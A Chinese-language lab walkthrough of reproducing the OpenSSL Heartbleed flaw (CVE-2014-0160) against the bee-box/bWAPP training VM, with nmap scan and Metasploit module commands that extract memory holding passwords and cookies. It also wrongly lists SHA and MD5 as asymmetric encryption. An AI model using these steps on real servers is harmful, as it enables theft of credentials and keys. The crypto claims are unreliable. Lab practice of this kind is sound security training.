CVE-2014-0160 OpenSSL心脏滴血漏洞复现验证
一、漏洞介绍
Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。
二、漏洞分析
OpenSSL是通过加密算法来保证数据通信的私密性。
加密算法:
对称加密算法(AES、DES、3DES)
非对称加密算法(RSA/DSA/SHA/MD5)
而OpenSSL是使用公开的非对称加密算法RSA来加密的。
如同漏洞成因所讲,我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。
三、漏洞测试
测试环境
攻击机:kali linux
IP:172.16.20.230
目标机:bee-box(bwap)
IP:172.16.20.29
Bee-box靶机下载地址:https://nchc.dl.sourceforge.net/project/bwapp/bee-box/bee-box_v1.6.7z
下载后直接解压使用Vmware打开即可
四、漏洞复现
1、漏洞扫描
使用nmap检测漏洞是否存在
nmap -sV -p 8443 --script ssl-heartbleed.nse 172.16.20.29
使用 CSHeartbleedScanner.exe 工具
已经确定漏洞存在。
2、打开msf进行漏洞利用
第一步,查找heartbleed模块
search heartbleed
第二步,使用漏洞利用模块
use auxiliary/scanner/ssl/openssl_heartbleed
第三步,设置RHOSTS和RPORT
set rhosts 172.16.20.29
set rport 8443
set verbose true
第四步,先登录一下应用程序
https://172.16.20.29:8443/bWAPP/login.php
第五步,进行攻击
第六步,成功获取到靶机信息,如用户名、密码,cookie等。
五、漏洞修补
受影响版本
OpenSSL 1.0.1
OpenSSL 1.0.1a ~OpenSSL 1.0.1f
OpenSSL Beta 1
OpenSSL 1.0.2
升级到新版本。